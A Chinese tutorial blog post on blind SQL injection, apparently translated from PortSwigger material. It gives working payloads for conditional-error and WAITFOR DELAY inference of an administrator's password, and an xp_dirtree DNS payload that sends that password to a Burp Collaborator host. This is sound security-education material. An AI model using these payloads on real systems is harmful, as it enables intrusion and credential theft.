| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> 大数据 -> Web入门之Sql注入(二) -> 正文阅读 |
|
[大数据]Web入门之Sql注入(二) |
通过触发 SQL 错误来诱导条件响应在前面的示例中,假设应用程序执行相同的 SQL 查询,但根据查询是否返回任何数据,行为没有任何不同。前面的技术将不起作用,因为注入不同的布尔条件对应用程序的响应没有影响。 在这种情况下,根据注入的条件,通常可以通过有条件地触发 SQL 错误来诱导应用程序返回条件响应。这涉及修改查询,以便在条件为真时会导致数据库错误,但如果条件为假则不会。很多时候,数据库抛出的未处理的错误会导致应用程序的响应(例如错误消息)出现一些差异,从而使我们能够推断注入条件的真实性。 要查看它是如何工作的,假设发送的两个请求TrackingId依次包含以下cookie 值: xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='axyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a 这些输入使用CASE关键字来测试条件并根据表达式是否为真返回不同的表达式。对于第一个输入,CASE表达式的计算结果为'a',这不会导致任何错误。对于第二个输入,它的计算结果为1/0,这会导致除以零错误。假设该错误导致应用程序的 HTTP 响应存在一些差异,我们可以利用这种差异来推断注入的条件是否为真。 使用这种技术,我们可以通过一次系统地测试一个字符,以已经描述的方式检索数据: xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a (通过查看状态是否为500确定密码) 通过触发时间延迟来利用 SQL 盲注在前面的示例中,假设应用程序现在捕获数据库错误并妥善处理它们。在执行注入的 SQL 查询时触发数据库错误不再会导致应用程序的响应出现任何差异,因此上述诱导条件错误的技术将不起作用。 在这种情况下,通常可以通过根据注入条件有条件地触发时间延迟来利用盲 SQL 注入漏洞。因为 SQL 查询一般是由应用程序同步处理的,所以延迟 SQL 查询的执行也会延迟 HTTP 响应。这使我们能够根据收到 HTTP 响应之前所花费的时间来推断注入条件的真实性。 触发时间延迟的技术高度特定于所使用的数据库类型。在 Microsoft SQL Server 上,如下输入可用于测试条件并根据表达式是否为真触发延迟: '; IF (1=2) WAITFOR DELAY '0:0:10'--'; IF (1=1) WAITFOR DELAY '0:0:10'-- 这些输入中的第一个不会触发延迟,因为条件1=2为假。第二个输入将触发 10 秒的延迟,因为条件1=1为真。 使用这种技术,我们可以通过一次系统地测试一个字符,以已经描述的方式检索数据: '; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'-- (注:当数据库是PostgreSQL时,应该是使用select pg_sleep()来进行延时,但为何是使用|| pg_sleep(),不是很懂,||不是将字符连接成一个字符吗) 使用带外 (?OAST?) 技术利用 SQL 盲注入现在,假设应用程序执行相同的 SQL 查询,但它是异步执行的。应用程序继续在原始线程中处理用户的请求,并使用另一个线程使用跟踪 cookie 执行 SQL 查询。查询仍然容易受到 SQL 注入的影响,但是到目前为止描述的技术都不起作用:应用程序的响应不依赖于查询是否返回任何数据,或者是否发生数据库错误,或者执行所花费的时间查询。 在这种情况下,通常可以通过触发与您控制的系统的带外网络交互来利用 SQL 盲注漏洞。如前所述,这些可以根据注入的条件有条件地触发,以一次一位地推断信息。但更强大的是,数据可以直接在网络交互本身内泄露。 多种网络协议可用于此目的,但通常最有效的是 DNS(域名服务)。这是因为很多生产网络允许 DNS 查询的自由出口,因为它们对于生产系统的正常运行至关重要。 使用带外技术的最简单、最可靠的方法是使用Burp Collaborator。这是一个提供各种网络服务(包括 DNS)的自定义实现的服务器,并允许您检测由于向易受攻击的应用程序发送单个有效负载而导致的网络交互。对 Burp Collaborator 的支持内置于Burp Suite Professional,无需配置。 触发 DNS 查询的技术高度特定于所使用的数据库类型。在 Microsoft SQL Server 上,类似以下的输入可用于在指定域上进行 DNS 查找: '; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'-- 这将导致数据库对以下域执行查找: 0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net 您可以使用 Burp Suite 的Collaborator 客户端生成唯一的子域并轮询 Collaborator 服务器以确认何时发生任何 DNS 查找。 确认触发带外交互的方法后,您可以使用带外通道从易受攻击的应用程序中窃取数据。例如: '; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')-- 此输入读取Administrator用户的密码,附加唯一的 Collaborator 子域,并触发 DNS 查找。这将导致如下所示的 DNS 查找,允许您查看捕获的密码: S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net 带外 (OAST) 技术是一种非常强大的检测和利用 SQL 盲注入的方法,因为成功的可能性很高,并且能够直接在带外通道内窃取数据。出于这个原因,即使在其他盲开发技术确实有效的情况下,OAST 技术通常也是可取的 |
|
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/24 5:17:10- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |